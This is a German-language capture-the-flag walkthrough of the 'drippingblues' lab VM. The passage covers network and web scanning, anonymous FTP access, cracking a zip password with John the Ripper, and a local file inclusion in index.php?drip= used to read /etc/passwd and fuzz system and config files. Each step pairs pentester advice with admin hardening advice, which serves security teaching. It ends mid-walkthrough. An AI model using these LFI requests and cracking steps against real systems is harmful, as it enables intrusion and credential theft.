192.168.2.122 08:00:27:91:e9:96 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` wird verwendet, um das lokale Netzwerk (ARP-Scan) nach aktiven Geräten zu durchsuchen. Er sendet ARP-Anfragen an alle möglichen IP-Adressen im lokalen Subnetz und listet die Geräte auf, die antworten, zusammen mit ihrer IP-Adresse, MAC-Adresse und dem Hersteller der Netzwerkkarte (basierend auf der MAC-Adresse).
Bewertung: Dieser Schritt ist grundlegend in der Reconnaissance-Phase, um potenzielle Ziele im lokalen Netzwerk zu identifizieren. Die Ausgabe zeigt ein aktives Gerät mit der IP-Adresse 192.168.2.122. Die MAC-Adresse `08:00:27:91:e9:96` und der Hersteller "PCS Systemtechnik GmbH" (oft assoziiert mit VirtualBox) deuten darauf hin, dass es sich wahrscheinlich um eine virtuelle Maschine handelt, was unser Zielsystem "drippingblues" ist.
Empfehlung (Pentester): Die identifizierte IP-Adresse 192.168.2.122 ist unser primäres Ziel für weitere Scans und Enumeration.
Empfehlung (Admin): Netzwerk-Monitoring kann helfen, unautorisierte Geräte oder Scans im Netzwerk zu erkennen. Segmentierung des Netzwerks kann die Angriffsfläche reduzieren.
192.168.2.122 drippingblues.vuln
Analyse: Der Befehl `vi /etc/hosts` öffnet die lokale Hosts-Datei im Texteditor `vi`. In dieser Datei können manuell Zuordnungen von IP-Adressen zu Hostnamen vorgenommen werden. Hier wurde der Eintrag `192.168.2.122 drippingblues.vuln` hinzugefügt.
Bewertung: Dies ist ein vorbereitender Schritt, um das Zielsystem unter einem benutzerfreundlichen Namen (`drippingblues.vuln`) ansprechen zu können, anstatt nur die IP-Adresse zu verwenden. Dies ist besonders nützlich, wenn Webanwendungen auf dem Zielsystem virtuelle Hosts verwenden, die auf spezifische Hostnamen reagieren.
Empfehlung (Pentester): Verwende nun den Hostnamen `drippingblues.vuln` in weiteren Scans und Interaktionen, insbesondere bei Web-Enumeration, um sicherzustellen, dass eventuelle VHost-Konfigurationen korrekt angesprochen werden.
Empfehlung (Admin): Die lokale Hosts-Datei wird normalerweise nicht für die reguläre Namensauflösung in Produktionsumgebungen verwendet. DNS ist der Standard. Sicherstellen, dass die DNS-Konfiguration korrekt und sicher ist.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.122 + Target Hostname: 192.168.2.122 + Target Port: 80 + Start Time: 2023-06-03 00:04:48 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.41 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /robots.txt: Entry '/dripisreal.txt' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: contains 2 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt + Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + /: Web Server returns a valid response with junk HTTP methods which may cause false positives. + 8104 requests: 0 error(s) and 6 item(s) reported on remote host + End Time: 2023-06-03 00:05:06 (GMT2) (18 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: `nikto` ist ein Webserver-Scanner, der nach bekannten Schwachstellen, Fehlkonfigurationen und interessanten Dateien/Verzeichnissen sucht. `-h 192.168.2.122` gibt das Ziel an. Die Ausgabe zeigt: * Server: Apache/2.4.41 (Ubuntu) - eine spezifische Version, die möglicherweise veraltet ist. * Fehlende Sicherheitsheader: `X-Frame-Options` und `X-Content-Type-Options`. * `robots.txt` gefunden: Enthält interessante Einträge (`/dripisreal.txt`). * Veraltete Apache-Version: Die Version 2.4.41 ist nicht die aktuellste und könnte bekannte Schwachstellen enthalten. * Gültige Antworten auf "Junk"-HTTP-Methoden: Könnte auf eine Fehlkonfiguration hinweisen.
Bewertung: Nikto liefert wichtige erste Hinweise auf die Webserver-Konfiguration und potenzielle Angriffsvektoren. Die Server-Version, fehlende Header und insbesondere der Inhalt der `robots.txt` sind wertvolle Informationen für die weitere Enumeration. Die veraltete Apache-Version ist ein klares Indiz für ein potenzielles Sicherheitsrisiko.
Empfehlung (Pentester): Untersuche die in `robots.txt` genannten Dateien (`/dripisreal.txt`, `/etc/dripispowerful.html`). Recherchiere bekannte Schwachstellen für Apache/2.4.41. Überprüfe die fehlenden Sicherheitsheader auf Ausnutzbarkeit.
Empfehlung (Admin): Aktualisiere den Apache-Webserver auf die neueste stabile Version. Implementiere die fehlenden Sicherheitsheader (`X-Frame-Options: DENY` oder `SAMEORIGIN`, `X-Content-Type-Options: nosniff`). Überprüfe den Inhalt der `robots.txt` und entferne sensible Pfade, falls nicht beabsichtigt.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-03 00:04 CEST Nmap scan report for driftingblues.vuln (192.168.2.122) Host is up (0.00040s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rwxrwxrwx 1 0 0 471 Sep 19 2021 respectmydrip.zip [NSE: writeable] | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.2.113 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 3 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 9ebbaf6f7da79d65a1b1a1be91cd0428 (RSA) | 256 a3d3c0b4c5f9c06ce54764fe91c5cdc0 (ECDSA) |_ 256 4c84da5aff04b9b55c5abe21b60e4573 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) | http-robots.txt: 2 disallowed entries |_/dripisreal.txt /etc/dripispowerful.html |_http-title: Site doesn't have a title (text/html; charset=UTF-8). |_http-server-header: Apache/2.4.41 (Ubuntu) MAC Address: 08:00:27:91:E9:96 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.40 ms driftingblues.vuln (192.168.2.122)
Analyse: `nmap` ist ein leistungsstarker Port-Scanner. Die Optionen bedeuten: * `-sS`: TCP SYN Scan (Stealth Scan). * `-sC`: Führt Standard-Nmap-Skripte aus (z.B. zur Diensterkennung und Schwachstellensuche). * `-T5`: Timing-Template "Insane" (sehr schnell, kann aber ungenau sein oder Intrusion Detection Systeme auslösen). * `-AO`: Versucht, das Betriebssystem zu erkennen. * `192.168.2.122`: Das Ziel. * `-p-`: Scannt alle 65535 TCP-Ports. Die Ausgabe identifiziert drei offene Ports: * **Port 21 (FTP):** vsftpd 3.0.3. Wichtig: Anonymes FTP-Login ist erlaubt (`ftp-anon: Anonymous FTP login allowed`). Eine beschreibbare Datei `respectmydrip.zip` wurde gefunden. * **Port 22 (SSH):** OpenSSH 8.2p1 (Ubuntu). Zeigt die Host-Keys an. * **Port 80 (HTTP):** Apache 2.4.41 (Ubuntu). Bestätigt die Nikto-Ergebnisse, inklusive der `robots.txt`-Einträge. Zusätzlich liefert Nmap Informationen über das Betriebssystem (Linux Kernel 4.x/5.x) und die MAC-Adresse (bestätigt VirtualBox).
Bewertung: Dies ist ein umfassender Scan, der die Hauptangriffsvektoren aufdeckt: FTP, SSH und HTTP. Der offene anonyme FTP-Zugang mit einer beschreibbaren Datei (`respectmydrip.zip`) ist ein sofortiger und hochinteressanter Angriffspunkt. Die SSH- und HTTP-Dienste sind ebenfalls potenzielle Ziele.
Empfehlung (Pentester): Priorisiere den FTP-Dienst. Logge dich anonym ein, lade die `respectmydrip.zip`-Datei herunter und untersuche sie. Teste auch, ob tatsächlich Schreibrechte bestehen. Behalte SSH und HTTP für spätere Phasen im Auge.
Empfehlung (Admin): Deaktiviere anonymen FTP-Zugang, es sei denn, er ist absolut notwendig und sicher konfiguriert. Wenn anonyme Uploads nicht erforderlich sind, entziehe die Schreibrechte für den anonymen Benutzer. Stelle sicher, dass vsftpd und OpenSSH auf dem neuesten Stand sind und sicher konfiguriert wurden.
21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Analyse: Dieser Befehl wiederholt den vorherigen Nmap-Scan, leitet die Ausgabe aber durch `grep open`. `grep` filtert die Ausgabe und zeigt nur Zeilen an, die das Wort "open" enthalten.
Bewertung: Dies ist eine schnelle Methode, um die Ergebnisse des Nmap-Scans auf die offenen Ports zu reduzieren und eine übersichtliche Liste der potenziellen Angriffspunkte zu erhalten. Es bestätigt die zuvor identifizierten offenen Ports 21, 22 und 80.
Empfehlung (Pentester): Nützlich für eine schnelle Übersicht, aber die vollständige Nmap-Ausgabe enthält wichtige Details (wie anonymes FTP, Skriptergebnisse), die nicht ignoriert werden sollten.
Empfehlung (Admin): Regelmäßige Port-Scans (sowohl von außen als auch von innen) sind wichtig, um den Status der Netzwerkdienste zu überwachen und unerwartet offene Ports zu identifizieren.
Connected to 192.168.2.122. 220 (vsFTPd 3.0.3) Name (192.168.2.122:cyber): anonymous 331 Please specify the password. Password: anonymous 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls -la 229 Entering Extended Passive Mode (|||49047|) 150 Here comes the directory listing. drwxr-xr-x 2 0 0 4096 Sep 19 2021 . drwxr-xr-x 2 0 0 4096 Sep 19 2021 .. -rwxrwxrwx 1 0 0 471 Sep 19 2021 respectmydrip.zip 226 Directory send OK. ftp> put test.txt local: test.txt remote: test.txt 229 Entering Extended Passive Mode (|||56392|) 550 Permission denied.
Analyse: Der Befehl `ftp 192.168.2.122` startet den FTP-Client und verbindet sich mit dem Ziel. * Es wird nach einem Benutzernamen gefragt (`Name (...)`). Wir geben `anonymous` ein. * Es wird nach einem Passwort gefragt (`Password:`). Wir geben erneut `anonymous` ein (Standard für anonymes FTP). * `230 Login successful.` bestätigt den erfolgreichen anonymen Login. * `ls -la` listet den Inhalt des aktuellen Verzeichnisses auf dem FTP-Server auf. Es zeigt die Datei `respectmydrip.zip` mit Lese- und Schreibrechten für alle (`rwxrwxrwx`). * `put test.txt` versucht, eine lokale Datei namens `test.txt` auf den FTP-Server hochzuladen. * `550 Permission denied.` zeigt, dass der Upload fehlgeschlagen ist. Trotz der angezeigten `rwxrwxrwx`-Berechtigungen für die Datei selbst, hat der anonyme Benutzer keine Schreibrechte im Verzeichnis.
Bewertung: Der anonyme Login war erfolgreich, und wir konnten die Datei `respectmydrip.zip` sehen und herunterladen (obwohl der Download-Befehl `get` hier nicht gezeigt wird, impliziert das `ls` das Vorhandensein). Der fehlgeschlagene Upload (`put`) klärt, dass trotz der Dateiberechtigungen keine allgemeinen Schreibrechte im Verzeichnis bestehen. Das Herunterladen der ZIP-Datei ist der nächste logische Schritt.
Empfehlung (Pentester): Lade die Datei `respectmydrip.zip` mit dem Befehl `get respectmydrip.zip` herunter und analysiere sie lokal. Der fehlgeschlagene Upload bedeutet, dass dieser FTP-Server wahrscheinlich nicht für das Hochladen einer Shell oder anderer Tools genutzt werden kann.
Empfehlung (Admin): Konfiguriere vsftpd so, dass anonyme Logins entweder deaktiviert (`anonymous_enable=NO`) oder zumindest Schreibrechte entzogen werden (`anon_upload_enable=NO`, `anon_mkdir_write_enable=NO`). Überprüfe die Verzeichnisberechtigungen für das FTP-Stammverzeichnis des anonymen Benutzers.
Archive: respectmydrip.zip [respectmydrip.zip] respectmydrip.txt password:
Analyse: Der Befehl `unzip respectmydrip.zip` versucht, die zuvor heruntergeladene ZIP-Datei zu entpacken. Die Ausgabe `password:` zeigt sofort, dass mindestens eine Datei innerhalb des Archivs passwortgeschützt ist.
Bewertung: Die ZIP-Datei ist passwortgeschützt. Das Passwort muss geknackt oder gefunden werden, um an den Inhalt zu gelangen. Dies ist eine häufige Technik in CTFs und kann auch in realen Szenarien vorkommen, um sensible Daten zu schützen (oder zu verstecken).
Empfehlung (Pentester): Verwende Tools wie `zip2john` und `John the Ripper` (oder `hashcat`), um das Passwort zu knacken. Nutze gängige Wortlisten.
Empfehlung (Admin): Wenn passwortgeschützte Archive verwendet werden, stelle sicher, dass starke, nicht leicht zu erratende Passwörter verwendet werden. Informiere Benutzer über sichere Passwortpraktiken.
ver 2.0 respectmydrip.zip/respectmydrip.txt PKZIP Encr: cmplen=32, decmplen=20, crc=5C92F12B ts=96AB cs=5c92 type=0 ver 2.0 respectmydrip.zip/secret.zip is not encrypted, or stored with non-handled compression type
Analyse: `zip2john` ist ein Hilfsprogramm von John the Ripper. Es extrahiert den Passwort-Hash aus einer passwortgeschützten ZIP-Datei in ein Format, das `john` versteht. Die Ausgabe wird mit `>` in die Datei `hash.txt` umgeleitet. Die Ausgabe zeigt, dass `respectmydrip.txt` verschlüsselt ist, während `secret.zip` (eine weitere Datei im Archiv) anscheinend nicht verschlüsselt ist.
Bewertung: Dieser Schritt bereitet das Knacken des Passworts vor. Wir haben jetzt den Hash in `hash.txt`, bereit für John the Ripper. Die Information über die unverschlüsselte `secret.zip` ist ebenfalls interessant für später.
Empfehlung (Pentester): Verwende `john` mit einer geeigneten Wortliste (z.B. `rockyou.txt`), um den Hash in `hash.txt` zu knacken.
Empfehlung (Admin): Dies zeigt, wie Passwort-Hashes aus ZIP-Dateien extrahiert werden können. Es unterstreicht die Notwendigkeit starker Passwörter, da schwache Passwörter schnell durch Brute-Force-Angriffe mit Tools wie John the Ripper geknackt werden können.
Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 16 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 072528035 (respectmydrip.zip/respectmydrip.txt) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1g 0:00:00:02 DONE (2023-06-03 00:09) 0.3460g/s 4818Kp/s 4818Kc/s 4818KC/s 078633392..0713932315 Use the "--show" option to display all of the cracked passwords reliably Session completed.
Analyse: `john` ist ein bekanntes Passwort-Cracking-Tool. `--wordlist=/usr/share/wordlists/rockyou.txt` gibt die zu verwendende Wortliste an. `hash.txt` ist die Datei mit dem extrahierten Hash. John the Ripper testet Passwörter aus der `rockyou.txt` gegen den Hash. Die Ausgabe zeigt, dass das Passwort erfolgreich geknackt wurde: `072528035` für die Datei `respectmydrip.txt`.
Bewertung: Erfolg! Das Passwort für die verschlüsselte Datei wurde schnell gefunden. Dies deutet darauf hin, dass ein relativ schwaches, wahrscheinlich numerisches Passwort verwendet wurde, das in der `rockyou.txt`-Wortliste enthalten ist. Wir können die ZIP-Datei jetzt entpacken.
Empfehlung (Pentester): Verwende das gefundene Passwort `072528035`, um die ZIP-Datei erneut mit `unzip` zu entpacken und den Inhalt von `respectmydrip.txt` sowie die Datei `secret.zip` zu untersuchen.
Empfehlung (Admin): Dies demonstriert die Gefahr schwacher Passwörter. Erzwinge Richtlinien für komplexe Passwörter (Länge, Groß-/Kleinschreibung, Zahlen, Sonderzeichen) und schule Benutzer darin, keine einfachen oder gängigen Passwörter zu verwenden.
Archive: respectmydrip.zip
[respectmydrip.zip] respectmydrip.txt password: 072528035
extracting: respectmydrip.txt
inflating: secret.zip
Analyse: Erneuter Versuch, die ZIP-Datei zu entpacken. Diesmal wird das zuvor geknackte Passwort `072528035` eingegeben. Der Befehl ist erfolgreich und extrahiert zwei Dateien: `respectmydrip.txt` und `secret.zip`.
Bewertung: Wir haben nun Zugriff auf den Inhalt des ursprünglichen ZIP-Archivs. Der nächste Schritt ist, diese extrahierten Dateien zu untersuchen.
Empfehlung (Pentester): Untersuche den Inhalt von `respectmydrip.txt` mit `cat`. Analysiere die Datei `secret.zip` (ist sie auch passwortgeschützt? Was enthält sie?).
Empfehlung (Admin): Keine direkte Aktion erforderlich, dies ist die Folge des vorherigen Passwort-Cracks.
just focus on "drip"
Analyse: Der Befehl `cat respectmydrip.txt` zeigt den Inhalt der extrahierten Textdatei an. Er enthält den Hinweis: `just focus on "drip"`.
Bewertung: Dies ist ein klarer Hinweis für den weiteren Verlauf des Pentests. Das Wort "drip" scheint eine wichtige Rolle zu spielen, möglicherweise in Dateinamen, Verzeichnissen, Parametern oder Passwörtern.
Empfehlung (Pentester): Behalte das Wort "drip" im Hinterkopf. Suche gezielt nach Dateien, Verzeichnissen oder Parametern, die dieses Wort enthalten, insbesondere bei der Web-Enumeration. Untersuche als nächstes die Datei `secret.zip`.
Empfehlung (Admin): Hinweise in Dateien können Angreifern unbeabsichtigt helfen. Vermeide es, sensible Informationen oder Hinweise in öffentlich zugänglichen oder leicht zu findenden Dateien zu hinterlassen.
=============================================================== Gobuster v3.5 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.122 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 403,404 [+] User Agent: gobuster/3.5 [+] Extensions: txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx [+] Expanded: true [+] Timeout: 10s =============================================================== 2023/06/03 00:15:31 Starting gobuster in directory enumeration mode =============================================================== http://192.168.2.122/index.php (Status: 200) [Size: 138] http://192.168.2.122/robots.txt (Status: 200) [Size: 78] =============================================================== 2023/06/03 00:17:15 Finished ===============================================================
Analyse: `gobuster` ist ein Tool zur Brute-Force-Suche nach Verzeichnissen und Dateien auf Webservern. * `dir`: Modus für Verzeichnissuche. * `-u http://192.168.2.122`: Ziel-URL. * `-x ...`: Liste von Dateiendungen, die an jedes Wort in der Wortliste angehängt werden sollen. * `-w ...`: Pfad zur Wortliste (`directory-list-2.3-medium.txt` von SecLists). * `-b '403,404'`: Statuscodes, die als "nicht gefunden" behandelt und ausgeblendet werden sollen. * `-e`: Expanded Mode, zeigt die volle URL an. * `--no-error`: Unterdrückt Fehlermeldungen. Die Ausgabe zeigt zwei gefundene Ressourcen mit Statuscode 200 (OK): `/index.php` und `/robots.txt`.
Bewertung: Gobuster hat die bereits durch Nikto und Nmap bekannten Dateien `index.php` und `robots.txt` bestätigt. Obwohl keine neuen Verzeichnisse oder versteckten Dateien direkt gefunden wurden, ist dies ein wichtiger Schritt, um sicherzustellen, dass keine offensichtlichen Pfade übersehen wurden. Die verwendete Wortliste und die Endungen waren möglicherweise nicht umfassend genug oder es gibt einfach nicht mehr zu finden auf dieser Ebene.
Empfehlung (Pentester): Analysiere den Inhalt von `/index.php` und `/robots.txt` genauer. Da `gobuster` nicht viel Neues fand, konzentriere dich auf die bereits bekannten Dateien und die Hinweise aus `robots.txt` und der ZIP-Datei.
Empfehlung (Admin): Beschränke Verzeichnislistungen auf dem Webserver. Verwende nach Möglichkeit keine vorhersagbaren Namen für sensible Dateien oder Verzeichnisse. Implementiere Web Application Firewalls (WAFs), um Brute-Force-Scans zu erkennen und zu blockieren.
Analyse: Basierend auf den vorherigen Scans (`nikto`, `nmap`) und der manuellen Untersuchung (nicht explizit im Log gezeigt, aber impliziert durch die folgenden Schritte), wurden die Inhalte der gefundenen Ressourcen untersucht:
User-agent: * Disallow: /dripisreal.txt Disallow: /etc/dripispowerful.htmlDies verbietet Suchmaschinen das Crawlen dieser beiden Pfade. Für einen Pentester sind dies jedoch interessante Ziele.
hello dear hacker wannabe, go for this lyrics: https://www.azlyrics.com/lyrics/youngthug/constantlyhating.html count the n words and put them side by side then md5sum it ie, hellohellohellohello >> md5sum hellohellohellohello it's the password of sshDies enthält Anweisungen zur Generierung eines SSH-Passworts basierend auf einem Songtext.
Bewertung: Die Web-Enumeration war sehr erfolgreich. Wir haben zwei wichtige Hinweise in `robots.txt` gefunden. Eine Datei (`dripisreal.txt`) gibt eine Anleitung für ein SSH-Passwort, während die andere (`/etc/dripispowerful.html`) wahrscheinlich ein Passwort enthält (Bestätigung folgt). Noch wichtiger ist die Entdeckung einer LFI-Schwachstelle im Parameter `drip` von `index.php`. Diese LFI ermöglicht das Auslesen beliebiger Dateien auf dem Server, auf die der Webserver-Benutzer (`www-data`) Zugriff hat.
Empfehlung (Pentester):
1. Nutze die LFI-Schwachstelle (`index.php?drip=`), um sensible Dateien zu lesen. Beginne mit `/etc/dripispowerful.html`, `/etc/passwd`, `/etc/shadow` (falls lesbar), Konfigurationsdateien (Apache, SSH, Datenbanken), Logdateien und potenziellen SSH-Schlüsseln.
2. Folge den Anweisungen in `dripisreal.txt`, um das SSH-Passwort zu generieren (obwohl die LFI möglicherweise einen einfacheren Weg bietet).
Empfehlung (Admin):
1. **Behebe die LFI-Schwachstelle dringend!** Validire Benutzereingaben strikt. Verwende Whitelists für erlaubte Dateien statt Blacklists. Implementiere Filter, um Pfad-Traversal-Sequenzen (`../`) zu blockieren. Konfiguriere PHP so, dass `allow_url_fopen` und `allow_url_include` deaktiviert sind, falls nicht benötigt.
2. Überprüfe die Berechtigungen des Webserver-Benutzers (`www-data`). Er sollte nur auf die Dateien und Verzeichnisse zugreifen können, die für den Betrieb der Webanwendung unbedingt notwendig sind.
3. Entferne sensible Informationen oder Passwörter aus Web-zugänglichen Dateien oder Kommentaren im Code.
# Zugriff auf http://192.168.2.122/index.php?drip=/etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin thugger:x:1001:1001:,,,:/home/thugger:/bin/bash sshd:x:126:65534::/run/sshd:/usr/sbin/nologin mysql:x:127:133:MySQL Server,,,:/nonexistent:/bin/false ftp:x:128:134:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin driftingblues is hacked again so it's now called drippingblues. :D hahaha by travisscott & thugger
Analyse: Dies zeigt den Inhalt der Datei `/etc/passwd`, ausgelesen über die LFI-Schwachstelle in `index.php`. Die Datei listet die Benutzerkonten auf dem System auf. Jede Zeile enthält Informationen wie Benutzername, Passwort-Platzhalter (`x`), User ID (UID), Group ID (GID), Benutzerinformationen, Home-Verzeichnis und Login-Shell.
Bewertung: Das Auslesen von `/etc/passwd` ist ein klassisches Beispiel für eine erfolgreiche LFI. Es bestätigt die Existenz von Benutzern wie `root`, `www-data` (der Webserver-Benutzer), `mysql`, `ftp` und vor allem eines regulären Benutzers `thugger` mit der Shell `/bin/bash`. Der Benutzer `thugger` ist nun ein Hauptziel für den initialen Zugriff. Die Nachricht am Ende deutet auf die Namen der "Hacker" hin.
Empfehlung (Pentester): Notiere den Benutzernamen `thugger`. Versuche als nächstes, die Datei `/etc/shadow` über die LFI auszulesen (`index.php?drip=/etc/shadow`), um Passwort-Hashes zu erhalten (falls die Berechtigungen es zulassen). Lies auch die in `robots.txt` gefundene Datei `/etc/dripispowerful.html` aus.
Empfehlung (Admin): Priorisiere die Behebung der LFI-Schwachstelle. Überprüfe die Berechtigungen der Datei `/etc/passwd`. Sie sollte normalerweise für alle lesbar sein (644), aber `/etc/shadow`, welche die Hashes enthält, sollte nur für `root` lesbar sein (640 oder 600).
% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 3032 100 3032 0 0 4089k 0 --:--:-- --:--:-- --:--:-- 2960k root:x:0:0:root:/root:/bin/bash thugger:x:1001:1001:,,,:/home/thugger:/bin/bash
Analyse: `curl` wird verwendet, um den Inhalt der URL `http://192.168.2.122/index.php?drip=/etc/passwd` abzurufen (also die `/etc/passwd`-Datei über die LFI). Die Ausgabe wird dann mit `| grep bash` gefiltert, um nur Zeilen anzuzeigen, die `/bin/bash` enthalten. Dies sind typischerweise Benutzer mit einer interaktiven Login-Shell.
Bewertung: Dieser Befehl filtert die `/etc/passwd`-Ausgabe effizient, um die relevantesten Benutzer für einen potenziellen Login zu identifizieren: `root` und `thugger`. Dies bestätigt `thugger` als primäres Ziel für den initialen Zugriff.
Empfehlung (Pentester): Fokussiere die Bemühungen zum initialen Zugriff auf den Benutzer `thugger`. Versuche, das Passwort für `thugger` zu finden oder zu knacken (z.B. über die LFI, die Hinweise aus den Textdateien oder Brute-Force).
Empfehlung (Admin): Beschränke die Login-Shells (`/bin/bash`, `/bin/sh` etc.) nur auf Benutzer, die sie tatsächlich benötigen. Service-Konten sollten oft `/usr/sbin/nologin` oder `/bin/false` als Shell haben.
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://drippingblues.vuln/index.php?drip=FUZZ Total requests: 2894 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000081: 200 57 L 107 W 3032 Ch "/etc/passwd" 000001098: 200 29 L 125 W 820 Ch "/etc/mysql/my.cnf" 000001092: 200 20 L 109 W 803 Ch "/etc/fstab" 000001093: 200 235 L 1136 W 7362 Ch "/etc/apache2/apache2.conf" 000001089: 200 17 L 46 W 366 Ch "/etc/hosts" 000001108: 200 83 L 96 W 1165 Ch "/etc/group" 000001242: 200 164 L 973 W 6008 Ch "/etc/vsftpd.conf" 000001277: 200 8 L 21 W 165 Ch "/proc/self/cmdline" 000001278: 200 9 L 73 W 458 Ch "/proc/self/stat" 000001322: 200 8 L 21 W 906 Ch "/var/run/utmp" 000001321: 200 8 L 21 W 1290 Ch "/var/log/wtmp" 000001311: 200 131 L 417 W 3427 Ch "/etc/ssh/sshd_config" 000001320: 200 9 L 21 W 139 Ch "/var/log/lastlog" 000001301: 200 9 L 26 W 244 Ch "/proc/cmdline" 000001300: 200 9 L 44 W 329 Ch "/proc/version" 000001298: 200 30 L 211 W 1180 Ch "/etc/crontab" 000001296: 200 10 L 26 W 162 Ch "/etc/issue" 000001279: 200 65 L 160 W 1518 Ch "/proc/self/status" Total time: 1.311386 Processed Requests: 2894 Filtered Requests: 2876 Requests/sec.: 2206.824
Analyse: `wfuzz` ist ein weiteres Web-Fuzzing-Tool, das hier verwendet wird, um gezielt nach lesbaren Dateien über die LFI-Schwachstelle zu suchen. * `-c`: Farbige Ausgabe. * `-w /usr/share/wordlists/logfiles.txt`: Verwendet eine Wortliste, die typische Pfade zu Logdateien und Konfigurationsdateien enthält. * `-u "http://drippingblues.vuln/index.php?drip=FUZZ"`: Die Ziel-URL, wobei `FUZZ` durch die Einträge aus der Wortliste ersetzt wird. * `--hc 400,401,402,403,404`: Versteckt Antworten mit diesen HTTP-Statuscodes (Fehlercodes). * `--hh 138`: Versteckt Antworten mit genau 138 Zeichen (wahrscheinlich die Größe der Standard-Fehlerseite oder der `index.php` ohne gültige Datei).
Bewertung: Wfuzz war hier sehr effektiv, um eine Liste von Konfigurations-, System- und Prozessinformationsdateien zu finden, die über die LFI lesbar sind. Dies liefert wertvolle Einblicke in die Systemkonfiguration (MySQL, fstab, Apache, vsftpd, SSH, Crontab), laufende Prozesse (`/proc`) und Systeminformationen (`/etc/issue`, `/proc/version`). Obwohl keine direkten Passwörter gefunden wurden, können diese Dateien Hinweise auf weitere Schwachstellen oder Fehlkonfigurationen geben.
